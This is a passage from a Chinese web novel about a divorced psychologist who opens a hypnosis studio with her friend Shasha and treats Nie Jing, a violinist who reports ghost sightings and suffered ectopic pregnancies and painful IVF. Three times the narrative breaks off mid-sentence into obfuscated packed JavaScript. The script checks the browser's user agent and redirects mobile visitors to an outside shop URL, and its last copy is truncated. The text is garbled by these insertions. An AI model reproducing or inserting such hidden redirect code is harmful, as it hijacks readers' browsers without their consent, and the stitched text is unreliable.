《离异催眠师:解锁8个来访者的怪异秘辛》 1. 见鬼01 夜很黑,四周寂静无风,静得有点奇异,好似有一张无形的网将周围凝固一般。 在无边的暗夜中,一团模糊的黑影,悄无声息地出现,瘆人的气息顷刻间弥漫在周围。 她不知道这周围的变故是如何产生的,只知道就在她抬头的那一瞬间,这巨大的黑暗,仿佛融化成一张巨大的蜘蛛网,融入一抹冷冷的目光,好像蜘蛛在盯着网里的猎物。 在那一瞬间,她觉得自己像一只被粘住的虫子,挣不脱,逃不掉,最终,只会成为网里的一具尸骸。 聂菁坐在我的面前,巴掌大的小脸,一双黑白分明的大眼,透露出些许迷茫的神色,但同时又带着十分认真。 我打量着她的神情,一边听着有点荒谬的故事,一边努力调出诚恳的表情,因为作为一名心理咨询师,认真听取倾诉是职业素养。 她停了下来,看着我。 “你是说,你见到了一只鬼?你感觉到那只鬼的目光不善,好像对你有敌意?” 她点点头。 “这个感觉会让你联想到什么吗?” 她沉默了一会摇摇头。 “你能看到它是什么样子吗?” “看不清楚,它不是实实在在的,只是一个轮廓,一团模糊不清的身影。” “像影子?” 她摇摇头:“影子是没有意识,我却觉得他是有思想的,我能感受到他的感觉。” “什么感觉?” “很冰冷,像一把刺骨的刀。” 我琢磨了一下她描述的感觉。 心理咨询属于科学和哲学的范畴,不谈玄学和宗教。 一个来访者如果认为他能见到鬼,我们通常会把他归类到幻听幻觉类型。 聂菁不像是一个精神障碍者,她眼神清明,条理清晰,细节经得起推敲。 “那天因为心情不好,于是便去莎莎家喝酒。” “酒?喝了多少?” “不多,也就一杯,况且那是低度的葡萄酒,就跟饮料差不多,我没有一点醉意。” 她明白我的意思。 “反正先生出差了,我就留在莎莎家,夜半,我突然感觉到一阵的胸闷,喉咙有点痒想咳嗽,为了避免吵醒莎莎,我跑出阳台去。” 突如其来的咳嗽,猛烈得感觉肺腑都要被挤出来了,好不容易止住了喘息时,抬起头就发现了它,静静站在近在咫尺的对面阳台上。 “你觉得是看见还是一种感觉?”这两者有很大的区别,一种是实体,一种是存在幻想中。 人在黑暗中很容易产生错觉,光线不足,人的视野就会受限,心理学中的“黑暗效应”表明,昏暗环境会削弱人对事物的细节判断能力,同时提高警觉和扭曲认知。 前不久我经历了同样的事情,夜半,我摸黑起来如厕,房间拉着窗帘十分黑暗,只有月亮的光从厕所磨砂的门半透进来。 突然,我看到有一个黑影影影绰绰地贴在门后,也好像在看着我,当时一个激灵就清醒了。 我在逃跑和面对间挣扎了一会,还是鼓起勇气打开了灯,才发现是晚上洗完澡后挂着的脏衣服。 “不,”她断然否定。 “这不是错觉,因为我在之前也见过他。” 她看向了窗外,神色更加迷茫,有一种忧郁的灰暗。 城市的夜幕降临得很早,天空在雾霾的笼罩下,显得又脏乱又晦暗。 聂菁把车停在附近的车场,穿过一条专门开辟给车主的小巷子,巷子窄小幽暗,几乎没有行人。 走了几分钟后,突然感到有一阵的凉意,那喘不过气来的咳嗽又袭击过来,她扶着旁边的一根电线杆,一连串的咳嗽让她几乎直不起身。 等她慢慢地休整好准备继续走路,她又感觉到了那种熟悉的冷冷的目光。 不知何时,幽影的巷子出现了一个人影,她看得不是很清楚,因为此时突然刮起一股小风,吹起地上的纸碎使它们漂浮旋转着。 那个人影夹着风飘飘忽忽地过来,不知怎么的,一下子就到了面前。 她还没来得及看清这个人影,这人影一下子就穿过了她的身体。 “你感觉它穿过你的身体?”我觉得这个形容有点惊悚。 她收回了幽幽的目光,黑黑沉沉的眼珠望向我。 “是的,所以这不是错觉。” “那是一种很冰冷的感觉,就像一块冰锥刺到心脏去,所有的血液在那一瞬间都凝固。” 咨询室的空气温度也下降了几分。 “你相信鬼吗?”她沉默一会儿问。 “我相信一切的可能性。”我避开了她的问题。 “所以要排除其他的不可能,我建议你去做个脑部检测以及心理测试。” 我解释了脑部受到损伤或病变会引发幻听幻觉,比如脑肿瘤、脑血管等疾病也会影响神经的传导通路。 “做个测试让自己安心一些,排除了不可能剩下的就是可能了。” 结束咨询时我叮嘱她。 但她却用一种异样的目光看了我好一会,才点头走了。 心理师习惯揣摩来访者的一言一行,我托着腮,想她最后那个眼神到底是什么意思?分析她说的话到底里那些是想象还是幻觉。 电话响了,是莎莎打电话催我。 高大的凤凰木开满了花,满树像火一样热烈燃烧着,昨天下过雨,泥土微微湿润,踏上去有些黏腻的柔软,地上满是带着泥点的火红落英。 工作室租在一个名为“1819”的艺术创意园区里,园区前身是一家罐头厂,工厂已经搬走了,留下一个宽达16万平方米的园区。由于里面的建筑都是用红砖砌成的,并且是清一色的苏式建筑,十分有特色,于是市政把它打造成非营利的,集设计、艺术、文化和生活的创意园区。 我顺着宽缓伸展的回廊,穿过高耸的主楼,又沿着红砖绿蕉青瓦白檐的中式古风建筑群落走到路的尽头,便看见一个拱门小院入口,上面一个楷书牌匾端端正正写着“芙蓉里”。 这是一间与园区风格相搭中式风格的餐馆。 很奇怪,我之前在这个城市已居住了十多年,居然一直不知道这个号称网红打卡聚集地。 如果不是因为我的合伙人莎莎,可能一辈子也与这个地方无缘。 进到小桥流水的庭院,一眼便见到莎莎坐在中庭一棵榕树下,桌椅上撑着一把大大的遮阳伞,挡住了纷纷飘下的落叶。 她右手拿着手机在打字,左手夹着一根细长的女士烟,没有点燃,只有一搭没一搭地在敲在烟灰缸上。 我远远地叫了一声,她抬头见到我笑了笑,斑斓树影里的阳光如金粉一般洒在她身上,长而妩媚的眼角随即风情地荡漾起来。 “给你点了蟹黄豆腐、泰汁茄子和柠檬虾,还要加什么菜吗?”她把烟支放在一边,递过一本彩色精美菜单。 我摇摇头:“不用了,都是我爱吃的菜,够了。” 这个餐馆菜的口味十分适合我们俩的胃口。 自从工作室开在这里,莎莎三天两头地过来让我“打秋风”。 莎莎有自己的公司,做外贸生意。她原本是一名独立设计师,那几年赶上政策的利好,她的设计在海外大受欢迎,自己收购了厂房生产,一不小心便成了女企业家,财务自由,时间也自由。 反观我这十年八年,不单事业上毫无建树,还把生活搞得狼狈不堪,真是不胜唏嘘! “今天看到好多美女在打卡,这个季节很漂亮,待会要不要我给你拍点九宫格照?” 莎莎摇摇头:“不用,老娘卖艺不卖身,不发自拍照。” 我不禁被她逗笑了,道:“你明明可以靠颜值却要靠才华,两样都占了,感觉在你面前没活路了。” 莎莎哈哈一笑,露出一丝得意之色。 “我选的地方不错吧?” “那是当然,莎莎出品,必是精品。”看到莎莎我也不觉俏皮了一些。 她指的是我的工作室,这间工作室开起来多亏莎莎,从地址选择,租金谈判到装修风格,几乎都是她一手操办。 否则,作为社会功能废了快十年的全职太太,很难找到这么合适的地方。 三个月前。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16826322|191120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“什么?你离婚了?”莎莎一脸不可置信。 “嘘,小声一点,不用这么大惊小怪吧,这个城市的离婚率大约在52%左右,我不是在这边就是在那边。” 莎莎瞪了我好半晌,拿起前面的柠檬温水喝了好几口。 “什么时候离的?” “快两年了。” “噗”的一声半口水喷了出来,另一半莎莎极力想咽下去,反而又呛在嘴里咳个不停。 我连忙拿着纸巾递给她:“抱歉抱歉,我不知道你的反应这么大,我以为像你这么洒脱自由的人,不会有任何的惊讶才对。” 莎莎的情感启蒙老师据说是《欲望都市》里的Samantha,在事业上大刀阔斧,情感上自由奔放,万花丛中过,片叶不沾身的不婚主义者。 她喘了好一会才说:“我能不惊讶吗?你跟我又不一样,我觉得你适合传统的相夫教子生活。” 我摊了摊手:“我尝试了,这不失败了吗。” 莎莎:“这就是我又不解又惊讶的地方,别人也就算了,可是你一搞心理的,不应该把别人拿捏得妥妥的吗?情感美满,家庭幸福才是标配呀,现在市面上最火的情感导师就是教别人如何经营感情,挽回感情的。” 我一时无话,想了一会儿才慢吞吞地道: “我觉得你对心理学有误解,通常愿意去学习心理的人都是对情感要求比较高的人,那些所谓的情感导师,招数跟以前的红楼嬷嬷没什么两样,教女人怎么取悦男人,怎么拴住男人的心,我觉得这是倒行逆施,跟心理学没什么关系,纯粹就是为了从可怜的女人身上挣点钱。” 她用力擦了擦嘴唇,艳丽的口红蹭掉了一些。 “你丫的保密工作也做得太到位了,你不是说我是你唯一的闺蜜吗?连我也瞒得死死的,怪不得这一年多怎么约你都不出来,原来偷偷去离婚了。” “我没有偷偷离婚,但离婚总不能跟结婚一样,大张旗鼓广而告之吧。” 我想象着像举办婚宴一样办离婚宴场景觉得挺滑稽的。 “为什么离婚?” 我叹了一口气,有点无可奈何:“怎么说呢?就好像你走路进了一条死胡同,无路可走必须改道吧。” “你们做心理的,说离婚也这么清新脱俗吗?一般不都是因为出轨或者性格不合?” “婚姻是个很复杂的东西。出轨或者性格不合其实是一种表面的原因,因为内在产生了裂痕,外在才会表现为出轨,不忠,所谓的性格不合,也是相处之中产生了各种裂痕呈现的总和。” 莎莎挑高了眉毛,等着我大放厥词。 “婚姻就像两人合作一家公司,刚开始合作都有美好的想象和展望,但是有一天你发现它再也没有任何的价值,你还愿意继续经营下去吗?” “价值?” “不再产生任何利润,甚至拖后腿,你还会继续吗?”我强调并解释。 “可是结婚跟公司肯定是不一样的呀,公司才说价值,婚姻是因为爱才结合。” “其实本质上都是一样的。爱是什么?假如爱让你失去自我的价值,这种爱还称为爱吗?我很怀疑。” “你到底受了什么刺激?” “没有受什么刺激,反而是一种漫长温水煮青蛙般的痛苦中得出的思索,我很长时间都不知道自己是谁,以及存在的价值。” 有人说不幸的婚姻是一座坟墓,其实埋藏的不只是情感,还有自我。 自我的身份,在婚姻里你不再拥有自己的名字,你是谁的太太,谁的媳妇,谁的母亲,你扮演着所有的角色,并且为了得到别人的满意,你要削去自己种种的特质,以便符合他人的期待。 因为你的个人价值必须附和在这些角色所赋予的功能上,作为太太要温柔贤惠,作为媳妇要传宗接代,作为母亲要强大优秀,否则就是毫无价值的。 “有很长一段时间,我希望让每一个人都开心,让每一个人都满意,但是这么做之后我自己却越来越不快乐。” 莎莎摇了摇头:“你也可以活得自在些嘛。” 谁不想自在呢? 2. 见鬼02 但当你身在一个无形的笼中,所谓的自在,是必须符合这个笼子的形状,在这个笼子允许的范围内你才能获得。 “我也想自我一点,”我自嘲地笑笑。 “不过我的自在和别人的利益有冲突时怎么办?” 比如我不想做饭,可是对方招呼了一堆人回来吃喝,比如我想外出学习,对方却需要你留在家中照料,还有一些更小的鸡毛蒜皮,比如臭洗袜子一直泡着非要你动手洗,这才符合他认为的标准。可能别的女人觉得没什么,但对于自己来说,这些却像鞋子的一粒砂,时时摩擦着脚趾每走一步苦不堪言。 “嘿,你可是搞心理的呀,你应该能让他俯首甘为孺子牛才对,怎么反了过来?”莎莎挑起疑惑的杏眼。 “你说的是控制,而不是心理。”我无声地叹了一口气。 “我总觉得学心理学的不应该在情感方面败北。” “这是刻板印象。不过开始的时候,我也是这么想的,所以才特别痛苦。” 莎莎长眉挑了起来,往前倾了倾表示洗耳恭听。 “你这个疑问其实也是我曾经对自己的疑问。” “之所以这两年看起来失联,其实是躺平了,看起来是因为离婚的原因。”我深深吸了一口气。 “但真正的原因是挫败感,我那时候躺在房子里,每天都在质疑自己,觉得自己一事无成,一无所有,一文不值,一种觉得自己很失败的无价值感让我觉得活在这个世界上了无生趣。” 莎莎有些懊悔地看我一眼,欲言又止。 “不,那段时间已经过去了,否则我现在依然躺在某个角落里。” “我不知道,这会对你伤害这么大。”莎莎眉眼带些歉意。 “不,这不是伤害,这只是自我反思的过程,也正是因为这样,我才会有觉醒的机会。” 心理学大师荣格说过,每一个人的生命有两次,一是诞生的时刻,一是觉醒的瞬间。每一次觉醒都是对生命的更深度理解。 “人不在痛苦中灭亡,就会在痛苦中新生。你问我心理学有什么作用?它不是为了让人成功,也不是去控制他人,它是为了帮助自己学会如何面对痛苦,每一个人都有人生最低谷的时候,有些人可能会一蹶不振,有些人也可以活出第二次不同的生命。” 一片黄叶悠悠地飘然而下,仿佛穿过时间的间隙。 我伸手接住凝眸观看,叶影里似有一个娇小憔悴的女人,站在熟悉的老屋庭院,石榴树葡萄架下,忙忙碌碌的背影,弯着无尽的悲伤,在婚姻里失去了所有的欢愉。 不是每个人都有从痛苦中觉醒的机会。 “你怎么啦?”莎莎弹了弹桌子:“突然发什么愣?” 我回过神来。 “我想开一个心理催眠工作室。” “为什么?我记得你以前兼职过,说不怎么赚钱。如果是想改善经济,不如来帮我吧,工资随你开。” 莎莎半真半假笑得有些玩世不恭。 我造作地捂住了胸口:“你是说真的吗?这也太诱惑人了。” 莎莎笑着睨了我一眼:“这有什么,我知道你的工作经验和能力,以前我也邀请过你呀,可是你那时候说要当个全职太太。” 我摆摆手:“不要再提过去我那些蠢笨的事迹了,我感觉自己错过了一个亿。” 我们俩有些放肆地笑了起来,就像看到一段太傻太天真的时光。 缓了好一会,我收拢了笑意,有些正式道:“其实你这个提议着实让我心动,因为我很需要钱,我快十年没有专职做什么事,快要坐吃山空了。” 莎莎又露出些疑问,不过她很有修养地忍住了。 “不过,我不想只是为了钱工作。” 我顿了一会道:“在我最迷茫的时间,我曾问过自己,假如我的生命只剩下最后几天,我会怎么度过?” 莎莎皱皱眉,没有出声。 “我看到自己躺在一条黑沉沉的缝隙里,像在即将死亡的棺椁里,内心充满了痛苦和绝望。” 那是我躺平时候的状态。 “这个时间很漫长,我一遍遍地去复盘我的人生,回望我的过去,想知道自己是如何一步步走到这样的状况。当我在潜意识里开始理解一点点自己的时候,我开始看到亮光从缝隙里一点一点地照进来。” 那种感觉无法形容,就像在最漫长最黑暗的冬夜里微弱得如同磨砂玻璃的晨光,它即使如此的微末和虚弱,却能给整个世界带来希望和生机。 “后来,我看到自己越多,越能够理解自己的时候,我便有力量从那个缝隙里一点一点地爬了出来。” “虽然爬得出来,但我还是很迷茫,不知道接下来怎么度过我的人生,我又再一次问自己,假如明天我的生命就要结束了,我想怎么做?” 闭着眼睛的黑暗当中,突然浮起一点荧荧之光,似在照明又在兀自飞舞,如一根无形的丝线,一点点地隐没在我心脏的位置。 我便突然明白我该做什么。 莎莎沉默地拿起桌上的一只黑色打火机,修长的手指擦起几乎看不见颜色的火焰,烟在淡淡唇色的嘴上浮起薄薄的烟雾,显得她艳丽的脸庞有点神秘莫测。 “离一个婚对你伤害这么大吗?” 我摇摇头:“你听过惊弓之鸟吗?离婚之于我,就像那一声弦响。但鸟之所以掉下来,并不真的因为那一声响声,而是那只鸟曾经受过深深的创伤,那一个声音只是触发了它曾经濒临死亡的恐惧。” “这个世界上总有一些人是这样的,也许他们终其一生都被困在某一个特定的过去,即便伤口看似完全愈合,身体也找不到任何的痕迹,可是,一声弦响就能把它吓得从空中摔死,听起来很可笑吧。” 莎莎慢慢地吐出烟圈:“挺悲哀的。” 我双手交叉在后颈,换了个舒服的姿势靠在椅背上。 不是每个人的人生都能按照自己的期望活出来。那么没有活出来是否意味着一个失败者?而失败者是否有价值?他又应该如何活在这个世界上? “正因为我也是一个惊弓之鸟,我曾坠下去过,我才能够理解那声弦响意味着什么。” 那就像一个从战场上回来的伤兵,在午夜梦回时听到打雷的轰隆声,那会让他想起战场上的炮声,以及尸横遍野的黑暗。 假如这时候有一颗小小的火光,即使微小如萤火,也能让他从噩梦中惊醒,让他找到回家的路。 我想成为那光。即便身如米粒小的苔花,也有一颗向往牡丹花开的心。 一片花瓣轻飘飘地从树上落在莎莎的花瓣上,阳光穿过花瓣的脉络,映照在莎莎娇艳的脸庞。 桌子像楚河汉界横隔在我们之间,她在金色的阳光下发着闪闪的亮光,而我则在树下的阴影里与凉意融为一体,我们都和生活下了一盘棋。 成功也好,失败也好,高贵也好,卑微也好,精彩也好,平淡也好,三千世界如渺渺微尘,总有不同的生命形式。 莎莎终于慢悠悠地抽完了烟,露出罕见的认真表情:“我觉得你说得挺有意思的,找工作室选址什么的,可以包在我身上,还有,我想注资合伙,你算技术入股,工作室一人一半,有合适的客户可以介绍,其他我一概不管,如何?” 我摸摸鼻子:“你这扶贫有点太明显了。” 莎莎露出一个顽皮的笑容:“我这是赶时髦,听说欧美发达的国家,达官贵人都会给自己雇用一个心理咨询师,我投资一点点,感觉自己马上就升级为另一个阶层了,还是赚了。” 她越说越起劲,开始给我描绘装修的样子选址的想法。 于是,在这个美丽园区的幽静角落里,有了一个小小的催眠心理工作室,空间不大,门前风景却极好,有一个自有的庭院,可以观花看景。 莎莎还托人做了一个古朴的木牌,刻着工作室的名字“影心疗愈”,挂在门前合衬着绿意盎然的花草有点心平气和悠然感。 聂菁就是莎莎的朋友,一位爱讲鬼故事的来访者。 这是她第二次到来。 十指交握,露出的手指纤长又白皙,是一双弹奏美妙音乐的漂亮双手。 她呆呆地盯着放在桌子上的手指:“我又见到了。” 在练琴室。 琴声如诉如泣,哀怨婉转,荡气回肠,在空旷的琴房来回荡漾,如涟漪一样,向四周扩散着凄美的爱情。 聂菁左肩架着一把小提琴,脸微微地靠向琴头,右手拿着弓尖随着律动轻轻地滑动。 她深深地沉醉在其中,时间变得没有意义,直到光影西斜,黑暗吞噬着大地,所有的人都已经离开了,只剩下她孤独的身影。 后天有她的独奏表演,今天稍微练习晚一点,明天休息一天,所以练得比较晚。 忽然,一阵熟悉的凉意进入了喉咙,突如其来的咳嗽打断了流畅美妙的琴声。 她弯下腰只来得及把提琴轻轻靠在膝盖上, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16826323|191120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便又咳得死去活来,当她喘完气抬起头,不经意向窗外瞥去,却发现窗外立着一个黑影,也不知道在那里站了多久,见她望来,露出一抹阴森森冷冰冰的笑容。 时间仿佛被凝结,她静如冰雕。 不知道过了多久,那个模糊黑影和阴森笑容,慢慢地隐藏在夜色中,只剩下一窗凄凄的凌乱树枝。 “这次你能看清楚他的样子吗?” 她摇摇头。 “你觉得这是同一只鬼吗?”我想知道聂菁心理的投射。 “我不知道。”她的睫毛盖住了半边眼睛。 我停了一会问: “这件事有没有影响你后来的登台表演?” 她再次摇摇头。 “那你的心理素质还挺强的,你不担心在登台表演中会出现这种情况吗?” “也不是没想过,但我并不想让这些事影响我正常的生活。” 我看了看她淡淡的神情,觉得她是一个很懂克制自己,很理智,也很能控制自己情绪的人。 换而言之,是一个很习惯压抑自己的人。 我看了看手上的两份单子,一份是脑部的检测单,另外一份是心理测试单。 CT和脑电图都显示结果正常。 幻听幻觉形成的原因很复杂,首先要排除脑部的病变以及精神分裂症,以上两者都是我们无法处理的。 心理测试中,药物滥用,酒精依赖,睡眠质量这几项也没有显示出异常的情况,只有轻微的抑郁。 排除了以上种种因素,长期高压,亲人离世,重大灾难都有可能会造成短期的幻听幻觉。 “你最近的生活有什么烦恼的事吗?比如工作,会感觉有压力?” “我的工作比较自由,没有什么压力。”她说得很慢,企图让我理解这种特殊的职业。 她是一名职业的小提琴表演者,曾经在国内首屈一指的乐团当中担任首席,后来因为个人原因,离开了乐团,成为一名自由的音乐人。 开了一间个人工作室,和很多乐团都有固定的合作关系。 有时间适合演出的话就一起,没有就自由安排。 很多时候,曲目都是固定的,从小训练至今,拉小提琴对她而言,就像吃饭一样自然,没有什么特别难的挑战,也就没有职业上的压力。 松散而自由的合作关系,也不存在什么同事之间的竞争关系。 光鲜的职业,美丽的外表,自由的时间,不错的收入,是那种我会羡慕嫉妒的对象。 “能说一说最初是什么原因而退出那个乐团吗?” 她轻微地侧过脸,目光落在我桌子上的一盆微型景观上。 “不是什么特别的原因,那时候结婚了,想有更多自由的时间留给家庭。” “听起来你挺重视家庭生活的,能谈一谈这方面吗?家里都有什么人?你和你先生的关系怎么样? 她神色有些意味不明:“就是很简单很普通的家庭,我们跟婆婆一起住。” “我老公对我挺好的,我们关系很好。” “我婆婆和老公对我非常好,非常好。” 不知道为什么。她的重复让我感觉有些异样。 不是欲盖弥彰,而是里面透着某种沉甸甸无法承受之重的气息。 “我觉得你并不相信我见了鬼,你认为是我的脑子有问题?或者是精神病!”她的声音里有着一种淡淡不愉快的痕迹。 我噎了一下,诚实地道:“如果真的是鬼,那你应该找的是道士,我并不擅长处理这个。” 她沉默了一小会儿说:“我找过道士,做过法事,也戴了符和辟邪手链什么的。” 看来没有效果。 彼此又沉默了一会,我说:“既然那种方法无效,那还是考虑一下心理学的方法吧,所谓疑心生暗鬼,世间万物一切幻象都是由心之所生,佛学上是这么讲的,鬼因何而出现,总是有一定的原因。” 她望向我,面无表情。 “比如事业、生活、婚姻、情感、金钱上都有可能给心理带来压力,甚至亲人离世或重大的灾难都有可能让人短期出现幻觉。” 电影《催眠大师》讲述的就是这样的主题,主人公徐峥是一位理学上的催眠大师,但他本身的心理问题非常严重,经常出现各种各样可怕的幻觉,这个幻觉引起的原因跟他逝世的女友有关。 “所以,我推测,这个鬼的出现应该和你生活中最近发生的事相关。” 3. 见鬼03 痛苦的根源往往是因为我们不肯去面对,它就变成一个永远解不开的死结。 她听了这句话。 肩膀微微抖动了一下,手指用力抓住了椅子的扶手,下意识地想平复自己情绪。 “你的肩膀在抖。” 她沉默了好几分钟。 “我其它方面都挺好的,你以上的问题,我只能想到流产,这算不算?” “算。”我点头。 “可是,仅仅只是一个胚胎,连胎儿都算不上,会化成鬼或让我产生幻觉吗?我觉得没多大的关系。”她马上反驳。 “流产是最近发生的吗?” 她点点头,又迟疑了一下,摇摇头。 我没看懂这个表达:“你愿意谈谈吗?” 她又沉默下来,似乎在这里只愿意谈论鬼的话题。 “你在回避这个话题。” 她抿紧了嘴唇。 “是很难回答还是不想回忆?” 她理了理头发:“都过去了,不知道说这些有什么用。” “如果心里释然了,人们就会很随意地谈论。” 她沉默了半晌:“我感觉有点不舒服。” “你的身体似乎给了你一些答案。” 她抿着嘴角,脸色有些淡淡的苍白。 时间一点一滴地在流逝,秒针轻微的跳动声在安静的空间清晰可闻。 我看了下指针,轻轻叹了口气:“如果你感觉还没准备好,那我们下次再来探索这个问题,可以吗?” 希望下周她不会再给我讲鬼故事。 聂菁是今天最后的一位来访者,我走回咨询室时快六点了,让自己放松瘫倒在催眠椅上,按下右边的电动按钮调整椅子的角度,倾斜到170的角度是我最舒服的状态。 在聂菁之前,我的来访者是一对夫妇,他们在我的咨询室里互相谩骂攻击,声音一浪高一浪企图压住对方,那种带着愤怒和敌意的声音,比重金属和刺耳拉锯交杂的重口味摇滚乐还让人头疼。 听了一个毫无头绪的鬼故事后,我感到非常困倦,于是闭上眼睛,开始自我催眠放松。 浅程度的催眠就类似于冥想的状态,很短的时间就能让人得到充分的身心放松。 不知道过了多长时间,耳边突然响起了一阵很大的咳嗽声,朦胧中我感觉到心脏尖锐的一阵激烈乱跳,右手和右脚也痉挛一下,一个激灵把我吓醒。 猛然睁开眼睛,室内的光线有些暗,入睡前我特意调暗了灯光,看看窗外,竟然已经弥漫了沉沉的夜色,突然感觉有点心悸,忙七手八脚收拾好东西离开工作室。 外面的路灯很暗,在茂密的树下,零零散散地透出昏黄的光晕,园区里的工作人员不多,大多数的公司在这里设点,只是作为一些公司的形象展示,如果没有外来打卡的人员,平常都很安静。 我很喜欢这种安静的氛围,可是这会儿觉得清冷的有些心慌,也不知道是不是因为受了聂菁的影响,总觉得平日里充满生机的丰富绿植丛中,随时可能会跳出什么魑魅魍魉来。 直到走到大马路上,汽车如流水一样绵延不绝,五颜六色的霓虹灯热闹得此起彼伏,三三两两的行人匆匆而过,才觉得一口气从七上八下平平安安地回到该有的位置。 在红色五星旗下受教育多年的人不相信鬼。 教科书告诉我们,物质世界是客观存在的,一切现象都是物质的运动和变化,意识和思想是物质的产物。 但, 如果完全不相信鬼应该完全不害怕鬼,心无挂碍故无有恐怖。 那我为什么刚才会害怕? 也许早于识字前的乡村孩童,对于世界的认识,来源于隔壁家老奶奶煞有介事的书生女鬼,画皮狐精等神怪故事,它比普世哲学更早地进入孩子的潜意识深处,如一颗随时等待发芽的种子,在适当时候破土而出。 可见,意识是一回事,潜意识又是另一回事。 工作室离我住的地方不远,徒步十多分钟后,心情也平复了下来。 电梯在九楼打开,玄关的灯在黑暗中亮了起来,柔和的光从倒扣郁金香形的灯罩透出来,打在一旁自然散开的百合竹枝叶上,在屏风上投射出几簇优雅的影子。 租的这个公寓很小,只有一室一厅不到40平米,可这么小的地方,却散发着自由的味道。 没有人皱着眉挑剔地在一旁横眉冷指:衣领要熨好才能挂回衣柜、平时配菜时多看看金字塔营养均衡表、大门口地垫至少一月一次清洗…… 每一个细微的挑剔瞬间,每一句不满的指责话语,在漫长的岁月交叠中,犹如温水煮青蛙,沸腾到顶点带来长久的死亡,情感如是婚姻如是。 鸡蛋壳在灶台上轻微地磕出了一条裂缝,圆橙的蛋黄和雪白的挂面互相映衬,几片翠绿的菜叶子飘荡着,犹如阳春白雪中的一点绿意,让整个孤寂的黑夜都温暖了起来。 人有时要求很简单,一碗清汤寡面,一张干净床铺,便可完成一日光阴往复。 我捧着面坐到小沙发上,在收藏夹中打开了《黑客帝国》,安静的空间响起熟悉有磁性的声音。 “你曾经做过一种梦,尼奥,你如此确信那是真实的。假如你无法从那样的梦中醒来会怎么样?你怎么确定自己是处于梦境还是现实之中?” “真实是什么?不过是大脑接收的电子信号。”一身黑衣的墨菲斯声音很低沉,他在训练刚刚从母体中觉醒的尼奥。 我盯着那句台词心中微微一动,画面掠过尼奥的眼睛认真而深邃,无端让我想起聂菁那双大眼睛。 透过聂菁的眼睛,她所看到的真实是什么? “上周我们谈到有关流产的话题时,我感觉到你有点抗拒,能告诉我为什么吗?” 她沉默了一会。 “因为很痛苦,每次回忆我都感觉特别难受。” 女人和女人之间的差别有多大?可能从怀孕生产这件事就能看出来。 我有位乡下朋友讲述她啼笑皆非的生产过程,她给儿子起名叫路生,因为在她肚子刚有点疼走去附近医院时,儿子却迫不及待地在路边出来了,幸好当时她带着生产包,才总算没有太狼狈。 而我也知道一些产妇,分娩之痛几十小时,声嘶力竭精疲力竭,鬼门关转了好几趟,终生留下病根,才诞下来之不易的小生命。 但聂菁甚至连生产之痛都没有资格品尝,她只停在怀孕阶段便痛不欲生。 还记得第一次验出怀孕,家里每一位成员都喜气洋洋,可她的幸福感还没来得及消散,突然间的肚疼和晕厥让一切戛然而止,她与死神擦肩而过得亏当时送医院及时。 宫外孕对一位女性意味着什么? 输卵管破裂、腹腔内出血、败血症或多器官衰竭,休克危及生命。 还有许多的后遗症,如输卵管瘢痕、粘连或堵塞,慢性盆腔炎症,以及生育能力受损。 聂菁在三年内遭遇了两次宫外孕。 “那一定是一个很不容易的过程。” 她没有说话,身体偶尔会颤抖,又被她强行压制下去。 人类的身体犹如一具精密的仪器,不但会对疼痛做出及时的反应,还会将那些对生命造成威胁的疼痛以编程的方式,记忆在海马体中,这是人类进化的根源,也是人类痛苦的开端。 因为这样的记忆以碎片化形式存在,相似的气味、声音、图像或者故事的重述都可能会唤醒身体的痛苦和恐惧,甚至仅仅是怀孕两个字。 “我现在很害怕听到怀孕两个字。”她有些不稳地拿起水杯,压惊似的喝了一口。 我今天泡的是柠檬温水,也许柠檬的气味让她稍微地镇静下来,放下水杯时她轻轻呼了一口气。 “我能理解,两次和死神擦肩而过……” “不,不是因为这个。”她打断了我的话。 “宫外孕已经过去好几年了,我当时认为自己已经调整好心态了。” 喝了无数奇怪的苦药,看了无数的名医,可是后来还是害怕同样的事情重演,于是选择了可以让成活的胚胎直接注入子宫的人工受精。 “很痛,很折磨。”她的身体又一阵微微地颤抖。 医学的进步可以做到很多以前无法做到的事情,但是却不能让一个人完全免除□□之苦。 仅仅是打促排针,不仅要打腹部还要打臀部,一天3针,连续14天,打到最后腹部上臀部上都是针眼和瘀青,那段时间,每次她坐着或者躺着,针扎的感觉都会让她有一种密集恐惧症。 每隔两天都要抽三管血检测,后期是一天一次,每天抽完她都感觉天旋地转,仿佛生命也随着鲜红的血液被缓缓抽干。 促排完就是取卵子,取卵的针管像吸管那么粗,又像男人青筋暴起的手臂那么长,又粗又长的针管即使再小心翼翼,她都像是在泥水搅拌机里的泥浆,翻腾不已痛得死去活来。 “你一定很爱孩子,才有这么大的勇气受这么多苦。” 她捧着水杯的手又轻微抖了一下。 “以前也许吧,可是那么多痛苦之后,我觉得我其实没那么喜欢。” 特别是在经历那么多痛苦之后仍以失败告终。 没完没了的身体疼痛与受伤,一次又一次的失败、无力、绝望…… 咨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 